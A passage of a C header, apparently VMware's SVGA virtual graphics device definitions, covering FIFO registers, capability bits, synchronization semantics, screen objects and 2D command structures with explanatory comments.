SVGA_FIFO_CURSOR_LAST_UPDATED,/* Last time the host updated the cursor */ 509 | 510 | // Valid with SVGA_FIFO_CAP_RESERVE: 511 | SVGA_FIFO_RESERVED, /* Bytes past NEXT_CMD with real contents */ 512 | 513 | /* 514 | * Valid with SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2: 515 | * 516 | * By default this is SVGA_ID_INVALID, to indicate that the cursor 517 | * coordinates are specified relative to the virtual root. If this 518 | * is set to a specific screen ID, cursor position is reinterpreted 519 | * as a signed offset relative to that screen's origin. 520 | */ 521 | SVGA_FIFO_CURSOR_SCREEN_ID, 522 | 523 | /* 524 | * Valid with SVGA_FIFO_CAP_DEAD 525 | * 526 | * An arbitrary value written by the host, drivers should not use it. 527 | */ 528 | SVGA_FIFO_DEAD, 529 | 530 | /* 531 | * Valid with SVGA_FIFO_CAP_3D_HWVERSION_REVISED: 532 | * 533 | * Contains 3D HWVERSION (see SVGA3dHardwareVersion in svga3d_reg.h) 534 | * on platforms that can enforce graphics resource limits. 535 | */ 536 | SVGA_FIFO_3D_HWVERSION_REVISED, 537 | 538 | /* 539 | * XXX: The gap here, up until SVGA_FIFO_3D_CAPS, can be used for new 540 | * registers, but this must be done carefully and with judicious use of 541 | * capability bits, since comparisons based on SVGA_FIFO_MIN aren't 542 | * enough to tell you whether the register exists: we've shipped drivers 543 | * and products that used SVGA_FIFO_3D_CAPS but didn't know about some of 544 | * the earlier ones. The actual order of introduction was: 545 | * - PITCHLOCK 546 | * - 3D_CAPS 547 | * - CURSOR_* (cursor bypass 3) 548 | * - RESERVED 549 | * So, code that wants to know whether it can use any of the 550 | * aforementioned registers, or anything else added after PITCHLOCK and 551 | * before 3D_CAPS, needs to reason about something other than 552 | * SVGA_FIFO_MIN. 553 | */ 554 | 555 | /* 556 | * 3D caps block space; valid with 3D hardware version >= 557 | * SVGA3D_HWVERSION_WS6_B1. 558 | */ 559 | SVGA_FIFO_3D_CAPS = 32, 560 | SVGA_FIFO_3D_CAPS_LAST = 32 + 255, 561 | 562 | /* 563 | * End of VMX's current definition of "extended-FIFO registers". 564 | * Registers before here are always enabled/disabled as a block; either 565 | * the extended FIFO is enabled and includes all preceding registers, or 566 | * it's disabled entirely. 567 | * 568 | * Block 3b (truly optional extended registers): Additional registers for 569 | * the extended FIFO, which the VMX already knows how to enable and 570 | * disable with correct granularity. 571 | * 572 | * Registers after here exist if and only if the guest SVGA driver 573 | * sets SVGA_FIFO_MIN high enough to leave room for them. 574 | */ 575 | 576 | // Valid if register exists: 577 | SVGA_FIFO_GUEST_3D_HWVERSION, /* Guest driver's 3D version */ 578 | SVGA_FIFO_FENCE_GOAL, /* Matching target for SVGA_IRQFLAG_FENCE_GOAL */ 579 | SVGA_FIFO_BUSY, /* See "FIFO Synchronization Registers" */ 580 | 581 | /* 582 | * Always keep this last. This defines the maximum number of 583 | * registers we know about. At power-on, this value is placed in 584 | * the SVGA_REG_MEM_REGS register, and we expect the guest driver 585 | * to allocate this much space in FIFO memory for registers. 586 | */ 587 | SVGA_FIFO_NUM_REGS 588 | }; 589 | 590 | 591 | /* 592 | * Definition of registers included in extended FIFO support. 593 | * 594 | * The guest SVGA driver gets to allocate the FIFO between registers 595 | * and data. It must always allocate at least 4 registers, but old 596 | * drivers stopped there. 597 | * 598 | * The VMX will enable extended FIFO support if and only if the guest 599 | * left enough room for all registers defined as part of the mandatory 600 | * set for the extended FIFO. 601 | * 602 | * Note that the guest drivers typically allocate the FIFO only at 603 | * initialization time, not at mode switches, so it's likely that the 604 | * number of FIFO registers won't change without a reboot. 605 | * 606 | * All registers less than this value are guaranteed to be present if 607 | * svgaUser->fifo.extended is set. Any later registers must be tested 608 | * individually for compatibility at each use (in the VMX). 609 | * 610 | * This value is used only by the VMX, so it can change without 611 | * affecting driver compatibility; keep it that way? 612 | */ 613 | #define SVGA_FIFO_EXTENDED_MANDATORY_REGS (SVGA_FIFO_3D_CAPS_LAST + 1) 614 | 615 | 616 | /* 617 | * FIFO Synchronization Registers 618 | * 619 | * This explains the relationship between the various FIFO 620 | * sync-related registers in IOSpace and in FIFO space. 621 | * 622 | * SVGA_REG_SYNC -- 623 | * 624 | * The SYNC register can be used in two different ways by the guest: 625 | * 626 | * 1. If the guest wishes to fully sync (drain) the FIFO, 627 | * it will write once to SYNC then poll on the BUSY 628 | * register. The FIFO is sync'ed once BUSY is zero. 629 | * 630 | * 2. If the guest wants to asynchronously wake up the host, 631 | * it will write once to SYNC without polling on BUSY. 632 | * Ideally it will do this after some new commands have 633 | * been placed in the FIFO, and after reading a zero 634 | * from SVGA_FIFO_BUSY. 635 | * 636 | * (1) is the original behaviour that SYNC was designed to 637 | * support. Originally, a write to SYNC would implicitly 638 | * trigger a read from BUSY. This causes us to synchronously 639 | * process the FIFO. 640 | * 641 | * This behaviour has since been changed so that writing SYNC 642 | * will *not* implicitly cause a read from BUSY. Instead, it 643 | * makes a channel call which asynchronously wakes up the MKS 644 | * thread. 645 | * 646 | * New guests can use this new behaviour to implement (2) 647 | * efficiently. This lets guests get the host's attention 648 | * without waiting for the MKS to poll, which gives us much 649 | * better CPU utilization on SMP hosts and on UP hosts while 650 | * we're blocked on the host GPU. 651 | * 652 | * Old guests shouldn't notice the behaviour change. SYNC was 653 | * never guaranteed to process the entire FIFO, since it was 654 | * bounded to a particular number of CPU cycles. Old guests will 655 | * still loop on the BUSY register until the FIFO is empty. 656 | * 657 | * Writing to SYNC currently has the following side-effects: 658 | * 659 | * - Sets SVGA_REG_BUSY to TRUE (in the monitor) 660 | * - Asynchronously wakes up the MKS thread for FIFO processing 661 | * - The value written to SYNC is recorded as a "reason", for 662 | * stats purposes. 663 | * 664 | * If SVGA_FIFO_BUSY is available, drivers are advised to only 665 | * write to SYNC if SVGA_FIFO_BUSY is FALSE. Drivers should set 666 | * SVGA_FIFO_BUSY to TRUE after writing to SYNC. The MKS will 667 | * eventually set SVGA_FIFO_BUSY on its own, but this approach 668 | * lets the driver avoid sending multiple asynchronous wakeup 669 | * messages to the MKS thread. 670 | * 671 | * SVGA_REG_BUSY -- 672 | * 673 | * This register is set to TRUE when SVGA_REG_SYNC is written, 674 | * and it reads as FALSE when the FIFO has been completely 675 | * drained. 676 | * 677 | * Every read from this register causes us to synchronously 678 | * process FIFO commands. There is no guarantee as to how many 679 | * commands each read will process. 680 | * 681 | * CPU time spent processing FIFO commands will be billed to 682 | * the guest. 683 | * 684 | * New drivers should avoid using this register unless they 685 | * need to guarantee that the FIFO is completely drained. It 686 | * is overkill for performing a sync-to-fence. Older drivers 687 | * will use this register for any type of synchronization. 688 | * 689 | * SVGA_FIFO_BUSY -- 690 | * 691 | * This register is a fast way for the guest driver to check 692 | * whether the FIFO is already being processed. It reads and 693 | * writes at normal RAM speeds, with no monitor intervention. 694 | * 695 | * If this register reads as TRUE, the host is guaranteeing that 696 | * any new commands written into the FIFO will be noticed before 697 | * the MKS goes back to sleep. 698 | * 699 | * If this register reads as FALSE, no such guarantee can be 700 | * made. 701 | * 702 | * The guest should use this register to quickly determine 703 | * whether or not it needs to wake up the host. If the guest 704 | * just wrote a command or group of commands that it would like 705 | * the host to begin processing, it should: 706 | * 707 | * 1. Read SVGA_FIFO_BUSY. If it reads as TRUE, no further 708 | * action is necessary. 709 | * 710 | * 2. Write TRUE to SVGA_FIFO_BUSY. This informs future guest 711 | * code that we've already sent a SYNC to the host and we 712 | * don't need to send a duplicate. 713 | * 714 | * 3. Write a reason to SVGA_REG_SYNC. This will send an 715 | * asynchronous wakeup to the MKS thread. 716 | */ 717 | 718 | 719 | /* 720 | * FIFO Capabilities 721 | * 722 | * Fence -- Fence register and command are supported 723 | * Accel Front -- Front buffer only commands are supported 724 | * Pitch Lock -- Pitch lock register is supported 725 | * Video -- SVGA Video overlay units are supported 726 | * Escape -- Escape command is supported 727 | * 728 | * XXX: Add longer descriptions for each capability, including a list 729 | * of the new features that each capability provides. 730 | * 731 | * SVGA_FIFO_CAP_SCREEN_OBJECT -- 732 | * 733 | * Provides dynamic multi-screen rendering, for improved Unity and 734 | * multi-monitor modes. With Screen Object, the guest can 735 | * dynamically create and destroy 'screens', which can represent 736 | * Unity windows or virtual monitors. Screen Object also provides 737 | * strong guarantees that DMA operations happen only when 738 | * guest-initiated. Screen Object deprecates the BAR1 guest 739 | * framebuffer (GFB) and all commands that work only with the GFB. 740 | * 741 | * New registers: 742 | * FIFO_CURSOR_SCREEN_ID, VIDEO_DATA_GMRID, VIDEO_DST_SCREEN_ID 743 | * 744 | * New 2D commands: 745 | * DEFINE_SCREEN, DESTROY_SCREEN, DEFINE_GMRFB, BLIT_GMRFB_TO_SCREEN, 746 | * BLIT_SCREEN_TO_GMRFB, ANNOTATION_FILL, ANNOTATION_COPY 747 | * 748 | * New 3D commands: 749 | * BLIT_SURFACE_TO_SCREEN 750 | * 751 | * New guarantees: 752 | * 753 | * - The host will not read or write guest memory, including the GFB, 754 | * except when explicitly initiated by a DMA command. 755 | * 756 | * - All DMA, including legacy DMA like UPDATE and PRESENT_READBACK, 757 | * is guaranteed to complete before any subsequent FENCEs. 758 | * 759 | * - All legacy commands which affect a Screen (UPDATE, PRESENT, 760 | * PRESENT_READBACK) as well as new Screen blit commands will 761 | * all behave consistently as blits, and memory will be read 762 | * or written in FIFO order. 763 | * 764 | * For example, if you PRESENT from one SVGA3D surface to multiple 765 | * places on the screen, the data copied will always be from the 766 | * SVGA3D surface at the time the PRESENT was issued in the FIFO. 767 | * This was not necessarily true on devices without Screen Object. 768 | * 769 | * This means that on devices that support Screen Object, the 770 | * PRESENT_READBACK command should not be necessary unless you 771 | * actually want to read back the results of 3D rendering into 772 | * system memory. (And for that, the BLIT_SCREEN_TO_GMRFB 773 | * command provides a strict superset of functionality.) 774 | * 775 | * - When a screen is resized, either using Screen Object commands or 776 | * legacy multimon registers, its contents are preserved. 777 | * 778 | * SVGA_FIFO_CAP_GMR2 -- 779 | * 780 | * Provides new commands to define and remap guest memory regions (GMR). 781 | * 782 | * New 2D commands: 783 | * DEFINE_GMR2, REMAP_GMR2. 784 | * 785 | * SVGA_FIFO_CAP_3D_HWVERSION_REVISED -- 786 | * 787 | * Indicates new register SVGA_FIFO_3D_HWVERSION_REVISED exists. 788 | * This register may replace SVGA_FIFO_3D_HWVERSION on platforms 789 | * that enforce graphics resource limits. This allows the platform 790 | * to clear SVGA_FIFO_3D_HWVERSION and disable 3D in legacy guest 791 | * drivers that do not limit their resources. 792 | * 793 | * Note this is an alias to SVGA_FIFO_CAP_GMR2 because these indicators 794 | * are codependent (and thus we use a single capability bit). 795 | * 796 | * SVGA_FIFO_CAP_SCREEN_OBJECT_2 -- 797 | * 798 | * Modifies the DEFINE_SCREEN command to include a guest provided 799 | * backing store in GMR memory and the bytesPerLine for the backing 800 | * store. This capability requires the use of a backing store when 801 | * creating screen objects. However if SVGA_FIFO_CAP_SCREEN_OBJECT 802 | * is present then backing stores are optional. 803 | * 804 | * SVGA_FIFO_CAP_DEAD -- 805 | * 806 | * Drivers should not use this cap bit. This cap bit can not be 807 | * reused since some hosts already expose it. 808 | */ 809 | 810 | #define SVGA_FIFO_CAP_NONE 0 811 | #define SVGA_FIFO_CAP_FENCE (1<<0) 812 | #define SVGA_FIFO_CAP_ACCELFRONT (1<<1) 813 | #define SVGA_FIFO_CAP_PITCHLOCK (1<<2) 814 | #define SVGA_FIFO_CAP_VIDEO (1<<3) 815 | #define SVGA_FIFO_CAP_CURSOR_BYPASS_3 (1<<4) 816 | #define SVGA_FIFO_CAP_ESCAPE (1<<5) 817 | #define SVGA_FIFO_CAP_RESERVE (1<<6) 818 | #define SVGA_FIFO_CAP_SCREEN_OBJECT (1<<7) 819 | #define SVGA_FIFO_CAP_GMR2 (1<<8) 820 | #define SVGA_FIFO_CAP_3D_HWVERSION_REVISED SVGA_FIFO_CAP_GMR2 821 | #define SVGA_FIFO_CAP_SCREEN_OBJECT_2 (1<<9) 822 | #define SVGA_FIFO_CAP_DEAD (1<<10) 823 | 824 | 825 | /* 826 | * FIFO Flags 827 | * 828 | * Accel Front -- Driver should use front buffer only commands 829 | */ 830 | 831 | #define SVGA_FIFO_FLAG_NONE 0 832 | #define SVGA_FIFO_FLAG_ACCELFRONT (1<<0) 833 | #define SVGA_FIFO_FLAG_RESERVED (1<<31) // Internal use only 834 | 835 | /* 836 | * FIFO reservation sentinel value 837 | */ 838 | 839 | #define SVGA_FIFO_RESERVED_UNKNOWN 0xffffffff 840 | 841 | 842 | /* 843 | * Video overlay support 844 | */ 845 | 846 | #define SVGA_NUM_OVERLAY_UNITS 32 847 | 848 | 849 | /* 850 | * Video capabilities that the guest is currently using 851 | */ 852 | 853 | #define SVGA_VIDEO_FLAG_COLORKEY 0x0001 854 | 855 | 856 | /* 857 | * Offsets for the video overlay registers 858 | */ 859 | 860 | enum { 861 | SVGA_VIDEO_ENABLED = 0, 862 | SVGA_VIDEO_FLAGS, 863 | SVGA_VIDEO_DATA_OFFSET, 864 | SVGA_VIDEO_FORMAT, 865 | SVGA_VIDEO_COLORKEY, 866 | SVGA_VIDEO_SIZE, // Deprecated 867 | SVGA_VIDEO_WIDTH, 868 | SVGA_VIDEO_HEIGHT, 869 | SVGA_VIDEO_SRC_X, 870 | SVGA_VIDEO_SRC_Y, 871 | SVGA_VIDEO_SRC_WIDTH, 872 | SVGA_VIDEO_SRC_HEIGHT, 873 | SVGA_VIDEO_DST_X, // Signed int32 874 | SVGA_VIDEO_DST_Y, // Signed int32 875 | SVGA_VIDEO_DST_WIDTH, 876 | SVGA_VIDEO_DST_HEIGHT, 877 | SVGA_VIDEO_PITCH_1, 878 | SVGA_VIDEO_PITCH_2, 879 | SVGA_VIDEO_PITCH_3, 880 | SVGA_VIDEO_DATA_GMRID, // Optional, defaults to SVGA_GMR_FRAMEBUFFER 881 | SVGA_VIDEO_DST_SCREEN_ID, // Optional, defaults to virtual coords (SVGA_ID_INVALID) 882 | SVGA_VIDEO_NUM_REGS 883 | }; 884 | 885 | 886 | /* 887 | * SVGA Overlay Units 888 | * 889 | * width and height relate to the entire source video frame. 890 | * srcX, srcY, srcWidth and srcHeight represent subset of the source 891 | * video frame to be displayed. 892 | */ 893 | 894 | typedef struct SVGAOverlayUnit { 895 | uint32 enabled; 896 | uint32 flags; 897 | uint32 dataOffset; 898 | uint32 format; 899 | uint32 colorKey; 900 | uint32 size; 901 | uint32 width; 902 | uint32 height; 903 | uint32 srcX; 904 | uint32 srcY; 905 | uint32 srcWidth; 906 | uint32 srcHeight; 907 | int32 dstX; 908 | int32 dstY; 909 | uint32 dstWidth; 910 | uint32 dstHeight; 911 | uint32 pitches[3]; 912 | uint32 dataGMRId; 913 | uint32 dstScreenId; 914 | } SVGAOverlayUnit; 915 | 916 | 917 | /* 918 | * SVGAScreenObject -- 919 | * 920 | * This is a new way to represent a guest's multi-monitor screen or 921 | * Unity window. Screen objects are only supported if the 922 | * SVGA_FIFO_CAP_SCREEN_OBJECT capability bit is set. 923 | * 924 | * If Screen Objects are supported, they can be used to fully 925 | * replace the functionality provided by the framebuffer registers 926 | * (SVGA_REG_WIDTH, HEIGHT, etc.) and by SVGA_CAP_DISPLAY_TOPOLOGY. 927 | * 928 | * The screen object is a struct with guaranteed binary 929 | * compatibility. New flags can be added, and the struct may grow, 930 | * but existing fields must retain their meaning. 931 | * 932 | * Added with SVGA_FIFO_CAP_SCREEN_OBJECT_2 are required fields of 933 | * a SVGAGuestPtr that is used to back the screen contents. This 934 | * memory must come from the GFB. The guest is not allowed to 935 | * access the memory and doing so will have undefined results. The 936 | * backing store is required to be page aligned and the size is 937 | * padded to the next page boundry. The number of pages is: 938 | * (bytesPerLine * size.width * 4 + PAGE_SIZE - 1) / PAGE_SIZE 939 | * 940 | * The pitch in the backingStore is required to be at least large 941 | * enough to hold a 32bbp scanline. It is recommended that the 942 | * driver pad bytesPerLine for a potential performance win. 943 | * 944 | * The cloneCount field is treated as a hint from the guest that 945 | * the user wants this display to be cloned, countCount times. A 946 | * value of zero means no cloning should happen. 947 | */ 948 | 949 | #define SVGA_SCREEN_MUST_BE_SET (1 << 0) // Must be set or results undefined 950 | #define SVGA_SCREEN_HAS_ROOT SVGA_SCREEN_MUST_BE_SET // Deprecated 951 | #define SVGA_SCREEN_IS_PRIMARY (1 << 1) // Guest considers this screen to be 'primary' 952 | #define SVGA_SCREEN_FULLSCREEN_HINT (1 << 2) // Guest is running a fullscreen app here 953 | 954 | /* 955 | * Added with SVGA_FIFO_CAP_SCREEN_OBJECT_2. When the screen is 956 | * deactivated the base layer is defined to lose all contents and 957 | * become black. When a screen is deactivated the backing store is 958 | * optional. When set backingPtr and bytesPerLine will be ignored. 959 | */ 960 | #define SVGA_SCREEN_DEACTIVATE (1 << 3) 961 | 962 | /* 963 | * Added with SVGA_FIFO_CAP_SCREEN_OBJECT_2. When this flag is set 964 | * the screen contents will be outputted as all black to the user 965 | * though the base layer contents is preserved. The screen base layer 966 | * can still be read and written to like normal though the no visible 967 | * effect will be seen by the user. When the flag is changed the 968 | * screen will be blanked or redrawn to the current contents as needed 969 | * without any extra commands from the driver. This flag only has an 970 | * effect when the screen is not deactivated. 971 | */ 972 | #define SVGA_SCREEN_BLANKING (1 << 4) 973 | 974 | typedef 975 | struct SVGAScreenObject { 976 | uint32 structSize; // sizeof(SVGAScreenObject) 977 | uint32 id; 978 | uint32 flags; 979 | struct { 980 | uint32 width; 981 | uint32 height; 982 | } size; 983 | struct { 984 | int32 x; 985 | int32 y; 986 | } root; 987 | 988 | /* 989 | * Added and required by SVGA_FIFO_CAP_SCREEN_OBJECT_2, optional 990 | * with SVGA_FIFO_CAP_SCREEN_OBJECT. 991 | */ 992 | SVGAGuestImage backingStore; 993 | uint32 cloneCount; 994 | } SVGAScreenObject; 995 | 996 | 997 | /* 998 | * Commands in the command FIFO: 999 | * 1000 | * Command IDs defined below are used for the traditional 2D FIFO 1001 | * communication (not all commands are available for all versions of the 1002 | * SVGA FIFO protocol). 1003 | * 1004 | * Note the holes in the command ID numbers: These commands have been 1005 | * deprecated, and the old IDs must not be reused. 1006 | * 1007 | * Command IDs from 1000 to 1999 are reserved for use by the SVGA3D 1008 | * protocol. 1009 | * 1010 | * Each command's parameters are described by the comments and 1011 | * structs below. 1012 | */ 1013 | 1014 | typedef enum { 1015 | SVGA_CMD_INVALID_CMD = 0, 1016 | SVGA_CMD_UPDATE = 1, 1017 | SVGA_CMD_RECT_COPY = 3, 1018 | SVGA_CMD_DEFINE_CURSOR = 19, 1019 | SVGA_CMD_DEFINE_ALPHA_CURSOR = 22, 1020 | SVGA_CMD_UPDATE_VERBOSE = 25, 1021 | SVGA_CMD_FRONT_ROP_FILL = 29, 1022 | SVGA_CMD_FENCE = 30, 1023 | SVGA_CMD_ESCAPE = 33, 1024 | SVGA_CMD_DEFINE_SCREEN = 34, 1025 | SVGA_CMD_DESTROY_SCREEN = 35, 1026 | SVGA_CMD_DEFINE_GMRFB = 36, 1027 | SVGA_CMD_BLIT_GMRFB_TO_SCREEN = 37, 1028 | SVGA_CMD_BLIT_SCREEN_TO_GMRFB = 38, 1029 | SVGA_CMD_ANNOTATION_FILL = 39, 1030 | SVGA_CMD_ANNOTATION_COPY = 40, 1031 | SVGA_CMD_DEFINE_GMR2 = 41, 1032 | SVGA_CMD_REMAP_GMR2 = 42, 1033 | SVGA_CMD_MAX 1034 | } SVGAFifoCmdId; 1035 | 1036 | #define SVGA_CMD_MAX_DATASIZE (256 * 1024) 1037 | #define SVGA_CMD_MAX_ARGS 64 1038 | 1039 | 1040 | /* 1041 | * SVGA_CMD_UPDATE -- 1042 | * 1043 | * This is a DMA transfer which copies from the Guest Framebuffer 1044 | * (GFB) at BAR1 + SVGA_REG_FB_OFFSET to any screens which 1045 | * intersect with the provided virtual rectangle. 1046 | * 1047 | * This command does not support using arbitrary guest memory as a 1048 | * data source- it only works with the pre-defined GFB memory. 1049 | * This command also does not support signed virtual coordinates. 1050 | * If you have defined screens (using SVGA_CMD_DEFINE_SCREEN) with 1051 | * negative root x/y coordinates, the negative portion of those 1052 | * screens will not be reachable by this command. 1053 | * 1054 | * This command is not necessary when using framebuffer 1055 | * traces. Traces are automatically enabled if the SVGA FIFO is 1056 | * disabled, and you may explicitly enable/disable traces using 1057 | * SVGA_REG_TRACES. With traces enabled, any write to the GFB will 1058 | * automatically act as if a subsequent SVGA_CMD_UPDATE was issued. 1059 | * 1060 | * Traces and SVGA_CMD_UPDATE are the only supported ways to render 1061 | * pseudocolor screen updates. The newer Screen Object commands 1062 | * only support true color formats. 1063 | * 1064 | * Availability: 1065 | * Always available. 1066 | */ 1067 | 1068 | typedef 1069 | struct { 1070 | uint32 x; 1071 | uint32 y; 1072 | uint32 width; 1073 | uint32 height; 1074 | } SVGAFifoCmdUpdate; 1075 | 1076 | 1077 | /* 1078 | * SVGA_CMD_RECT_COPY -- 1079 | * 1080 | * Perform a rectangular DMA transfer from one area of the GFB to 1081 | * another, and copy the result to any screens which intersect it. 1082 | * 1083 | * Availability: 1084 | * SVGA_CAP_RECT_COPY 1085 | */ 1086 | 1087 | typedef 1088 | struct { 1089 | uint32 srcX; 1090 | uint32 srcY; 1091 | uint32 destX; 1092 | uint32 destY; 1093 | uint32 width; 1094 | uint32 height; 1095 | } SVGAFifoCmdRectCopy; 1096 | 1097 | 1098 | /* 1099 | * SVGA_CMD_DEFINE_CURSOR -- 1100 | * 1101 | * Provide a new cursor image, as an AND/XOR mask. 1102 | * 1103 | * The recommended way to position the cursor overlay is by using 1104 | * the SVGA_FIFO_CURSOR_* registers, supported by the 1105 | * SVGA_FIFO_CAP_CURSOR_BYPASS_3 capability. 1106 | * 1107 | * Availability: 1108 | * SVGA_CAP_CURSOR 1109 | */ 1110 | 1111 | typedef 1112 | struct { 1113 | uint32 id; // Reserved, must be zero. 1114 | uint32 hotspotX; 1115 | uint32 hotspotY; 1116 | uint32 width; 1117 | uint32 height; 1118 | uint32 andMaskDepth; // Value must be 1 or equal to BITS_PER_PIXEL 1119 | uint32 xorMaskDepth; // Value must be 1 or equal to BITS_PER_PIXEL 1120 | /* 1121 | * Followed by scanline data for AND mask, then XOR mask. 1122 | * Each scanline is padded to a 32-bit boundary. 1123 | */ 1124 | } SVGAFifoCmdDefineCursor; 1125 | 1126 | 1127 | /* 1128 | * SVGA_CMD_DEFINE_ALPHA_CURSOR -- 1129 | * 1130 | * Provide a new cursor image, in 32-bit BGRA format. 1131 | * 1132 | * The recommended way to position the cursor overlay is by using 1133 | * the SVGA_FIFO_CURSOR_* registers, supported by the 1134 | * SVGA_FIFO_CAP_CURSOR_BYPASS_3 capability. 1135 | * 1136 | * Availability: 1137 | * SVGA_CAP_ALPHA_CURSOR 1138 | */ 1139 | 1140 | typedef 1141 | struct { 1142 | uint32 id; // Reserved, must be zero. 1143 | uint32 hotspotX; 1144 | uint32 hotspotY; 1145 | uint32 width; 1146 | uint32 height; 1147 | /* Followed by scanline data */ 1148 | } SVGAFifoCmdDefineAlphaCursor; 1149 | 1150 | 1151 | /* 1152 | * SVGA_CMD_UPDATE_VERBOSE -- 1153 | * 1154 | * Just like SVGA_CMD_UPDATE, but also provide a per-rectangle 1155 | * 'reason' value, an opaque cookie which is used by internal 1156 | * debugging tools. Third party drivers should not use this 1157 | * command. 1158 | * 1159 | * Availability: 1160 | * SVGA_CAP_EXTENDED_FIFO 1161 | */ 1162 | 1163 | typedef 1164 | struct { 1165 | uint32 x; 1166 | uint32 y; 1167 | uint32 width; 1168 | uint32 height; 1169 | uint32 reason; 1170 | } SVGAFifoCmdUpdateVerbose; 1171 | 1172 | 1173 | /* 1174 | * SVGA_CMD_FRONT_ROP_FILL -- 1175 | * 1176 | * This is a hint which tells the SVGA device that the driver has 1177 | * just filled a rectangular region of the GFB with a solid 1178 | * color. Instead of reading these pixels from the GFB, the device 1179 | * can assume that they all equal 'color'. This is primarily used 1180 | * for remote desktop protocols. 1181 | * 1182 | * Availability: 1183 | * SVGA_FIFO_CAP_ACCELFRONT 1184 | */ 1185 | 1186 | #define SVGA_ROP_COPY 0x03 1187 | 1188 | typedef 1189 | struct { 1190 | uint32 color; // In the same format as the GFB 1191 | uint32 x; 1192 | uint32 y; 1193 | uint32 width; 1194 | uint32 height; 1195 | uint32 rop; // Must be SVGA_ROP_COPY 1196 | } SVGAFifoCmdFrontRopFill; 1197 | 1198 | 1199 | /* 1200 | * SVGA_CMD_FENCE -- 1201 | * 1202 | * Insert a synchronization fence. When the SVGA device reaches 1203 | * this command, it will copy the 'fence' value into the 1204 | * SVGA_FIFO_FENCE register. It will also compare the fence against 1205 | * SVGA_FIFO_FENCE_GOAL. If the fence matches the goal and the 1206 | * SVGA_IRQFLAG_FENCE_GOAL interrupt is enabled, the device will 1207 | * raise this interrupt. 1208 | * 1209 | * Availability: 1210 | * SVGA_FIFO_FENCE for this command, 1211 | * SVGA_CAP_IRQMASK for SVGA_FIFO_FENCE_GOAL. 1212 | */ 1213 | 1214 | typedef 1215 | struct { 1216 | uint32 fence; 1217 | } SVGAFifoCmdFence; 1218 | 1219 | 1220 | /* 1221 | * SVGA_CMD_ESCAPE -- 1222 | * 1223 | * Send an extended or vendor-specific variable length command. 1224 | * This is used for video overlay, third party plugins, and 1225 | * internal debugging tools. See svga_escape.h 1226 | * 1227 | * Availability: 1228 | * SVGA_FIFO_CAP_ESCAPE 1229 | */ 1230 | 1231 | typedef 1232 | struct { 1233 | uint32 nsid; 1234 | uint32 size; 1235 | /* followed by 'size' bytes of data */ 1236 | } SVGAFifoCmdEscape; 1237 | 1238 | 1239 | /* 1240 | * SVGA_CMD_DEFINE_SCREEN -- 1241 | * 1242 | * Define or redefine an SVGAScreenObject. See the description of 1243 | * SVGAScreenObject above. The video driver is responsible for 1244 | * generating new screen IDs. They should be small positive 1245 | * integers. The virtual device will have an implementation 1246 | * specific upper limit on the number of screen IDs 1247 | * supported. Drivers are responsible for recycling IDs. The first 1248 | * valid ID is zero. 1249 | * 1250 | * - Interaction with other registers: 1251 | * 1252 | * For backwards compatibility, when the GFB mode registers (WIDTH, 1253 | * HEIGHT, PITCHLOCK, BITS_PER_PIXEL) are modified, the SVGA device 1254 | * deletes all screens other than screen #0, and redefines screen 1255 | * #0 according to the specified mode. Drivers that use 1256 | * SVGA_CMD_DEFINE_SCREEN should destroy or redefine screen #0. 1257 | * 1258 | * If you use screen objects, do not use the legacy multi-mon 1259 | * registers (SVGA_REG_NUM_GUEST_DISPLAYS, SVGA_REG_DISPLAY_*). 1260 | * 1261 | * Availability: 1262 | * SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2 1263 | */ 1264 | 1265 | typedef 1266 | struct { 1267 | SVGAScreenObject screen; // Variable-length according to version 1268 | } SVGAFifoCmdDefineScreen; 1269 | 1270 | 1271 | /* 1272 | * SVGA_CMD_DESTROY_SCREEN -- 1273 | * 1274 | * Destroy an SVGAScreenObject. Its ID is immediately available for 1275 | * re-use. 1276 | * 1277 | * Availability: 1278 | * SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2 1279 | */ 1280 | 1281 | typedef 1282 | struct { 1283 | uint32 screenId; 1284 | } SVGAFifoCmdDestroyScreen; 1285 | 1286 | 1287 | /* 1288 | * SVGA_CMD_DEFINE_GMRFB -- 1289 | * 1290 | * This command sets a piece of SVGA device state called the 1291 | * Guest Memory Region Framebuffer, or GMRFB. The GMRFB is a 1292 | * piece of light-weight state which identifies the location and 1293 | * format of an image in guest memory or in BAR1. The GMRFB has 1294 | * an arbitrary size, and it doesn't need to match the geometry 1295 | * of the GFB or any screen object. 1296 | * 1297 | * The GMRFB can be redefined as often as you like. You could 1298 | * always use the same GMRFB, you could redefine it before 1299 | * rendering from a different guest screen, or you could even 1300 | * redefine it before every blit. 1301 | * 1302 | * There are multiple ways to use this command. The simplest way is 1303 | * to use it to move the framebuffer either to elsewhere in the GFB 1304 | * (BAR1) memory region, or to a user-defined GMR. This lets a 1305 | * driver use a framebuffer allocated entirely out of normal system 1306 | * memory, which we encourage. 1307 | * 1308 | * Another way to use this command is to set up a ring buffer of 1309 | * updates in GFB memory. If a driver wants to ensure that no 1310 | * frames are skipped by the SVGA device, it is important that the 1311 | * driver not modify the source data for a blit until the device is 1312 | * done processing the command. One efficient way to accomplish 1313 | * this is to use a ring of small DMA buffers. Each buffer is used 1314 | * for one blit, then we move on to the next buffer in the 1315 | * ring. The FENCE mechanism is used to protect each buffer from 1316 | * re-use until the device is finished with that buffer's 1317 | * corresponding blit. 1318 | * 1319 | * This command does not affect the meaning of SVGA_CMD_UPDATE. 1320 | * UPDATEs always occur from the legacy GFB memory area. This 1321 | * command has no support for pseudocolor GMRFBs. Currently only 1322 | * true-color 15, 16, and 24-bit depths are supported. Future 1323 | * devices may expose capabilities for additional framebuffer 1324 | * formats. 1325 | * 1326 | * The default GMRFB value is undefined. Drivers must always send 1327 | * this command at least once before performing any blit from the 1328 | * GMRFB. 1329 | * 1330 | * Availability: 1331 | * SVGA_FIFO_CAP_SCREEN_OBJECT or SVGA_FIFO_CAP_SCREEN_OBJECT_2 1332 | */ 1333 | 1334 | typedef 1335 | struct { 1336 | SVGAGuestPtr ptr; 1337 | uint32 bytesPerLine; 1338 | SVGAGMRImageFormat format; 1339 | } SVGAFifoCmdDefineGMRFB; 1340 | 1341 | 1342 | /* 1343 | * SVGA_CMD_BLIT_GMRFB_TO_SCREEN -- 1344 | * 1345 | * This is a guest-to-host blit. It performs a DMA operation to 1346 | * copy a rectangular region of pixels from the current GMRFB to 1347 | * one or more Screen Objects. 1348 | * 1349 | * The destination coordinate may be specified relative to a 